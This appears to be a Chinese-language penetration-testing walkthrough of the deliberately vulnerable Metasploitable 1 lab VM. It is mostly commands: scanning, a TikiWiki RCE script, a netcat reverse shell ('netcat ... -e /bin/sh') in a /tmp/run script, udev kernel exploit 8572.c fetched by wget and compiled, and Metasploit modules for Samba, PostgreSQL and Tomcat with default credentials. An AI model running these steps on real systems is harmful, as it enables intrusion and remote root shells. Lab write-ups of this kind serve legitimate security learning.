下载地址:https://www.vulnhub.com/entry/metasploitable-1,28/
一、主机发现
sudo netdiscover -i vmnet1 -r 192.168.70.0/24
ShellScript二、端口扫描
nmap -sS -sV -A 192.168.70.132 > nmap.txt
ShellScript发现开放了80端口
三、目录扫描
dirsearch "http://192.168.70.132"
ShellScript发现phpinfo.php和/tikiwiki/tiki-index.php
先看看phpinfo有什么可用的信息,简单浏览没发现
再去tikiwiki看看,TikiWiki版本号是 1.9.5,去找找也没有这个版本的漏洞
searchsploit tikiwiki 1.9.5
ShellScriptsearchsploit没有找到比较有用的漏洞,去网上找找
四、IKIWIKI_GRAPH_FORMULA_EXEC
在github发现这个版本有个IKIWIKI_GRAPH_FORMULA_EXEC漏洞点我打开
可以直接使用作者提供的脚本,或者可以使用msf里面的功能
1、漏洞验证POC
./tikiwiki_graph_formula_exec.sh http://192.168.70.132/tikiwiki&
nc -vn 192.168.70.132 1337
ShellScript输入whoami来查看是否连接成功
成功连入!
2、提权
(1)、查看系统信息
#查看内核信息
uname -a
#查看操作系统版本信息
head -n 1 /etc/issue
#查看系统信息
cat /proc/version
ShellScript总结下来:
- 系统:Ubuntu 8.04
- 内核版本:2.6.24-16-server
- gcc版本:4.2.3
(2)、查看可用工具
ls /usr/bin
ShellScript发现有python2和netcat和wget
(3)、查找系统和内核是否存在提权漏洞
searchsploit ubuntu 2.6
ShellScript很多,就用这个吧
searchsploit -m linux/local/8572.c
ShellScript(4)、利用python启用交互式终端
python -c 'import pty;pty.spawn("/bin/bash")'
#进入/tmp目录
cd /tmp
ShellScript(5)、使用wget上传文件
#如果没有web服务器可以使用python创建一个web服务
python -m http.server 80
#获取文件
wget http://192.168.70.1/8572.c
ShellScript(6)、编译并利用脚本exp
gcc 8572.c -o shellcode
#查询udev的PID,shellcode脚本要用
pgrep udev
#创建run以备反弹rootshell用
echo '#!/bin/sh' > /tmp/run
echo '/bin/netcat 192.168.70.1 4445 -e /bin/sh' >> /tmp/run
#在kali开启反弹shell
nc -lvvp 4445
#启动shellcode
./shellcode udev的值-1
ShellScript五、SMB(CVE-2007-2447)
nmap的扫描发现开放了smb端口,版本为3.0.20-Debian
去searchsploit找找没发现对应的漏洞,那就去网上查查,发现有Samba 3.0.20 < 3.0.25rc3 – ‘Username’ map script’ Command Execution Samba远程Shell命令注入执行漏洞,
search 'Username' map script' Command Execution
use multi/samba/usermap_script
set RHOST 192.168.70.132
ShellScript六、PostgreSQL命令执行漏洞(CVE-2007-3280)
5432端口是开放了PostgreSQL服务的,在百度搜索PostgreSQL DB 8.3.0 – 8.3.7发现了exp,
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/linux/postgres/postgres_payload
use exploit/linux/postgres/postgres_payload
options
set RHOSTS 192.168.70.132
run
ShellScript七、tomcat manager
8180开放了tomcat服务,在Tomcat Manager是可以上传木马wap包的,使用默认密码尝试登入tomcat:tomcat,可以登入,手动上传war包,或者使用msf
use multi/http/tomcat_mgr_deploy
set HttpPassword tomcat
set HttpUsername tomcat
set HttpUsername 192.168.70.132
set LHOST 192.168.70.1
run
ShellScript发现不是root权限,还需要提权
在/root下发现.ssh/authorized_keys公钥,并且可读,刚才看到ssh版本是存在Debian OpenSSL 弱随机数漏洞的,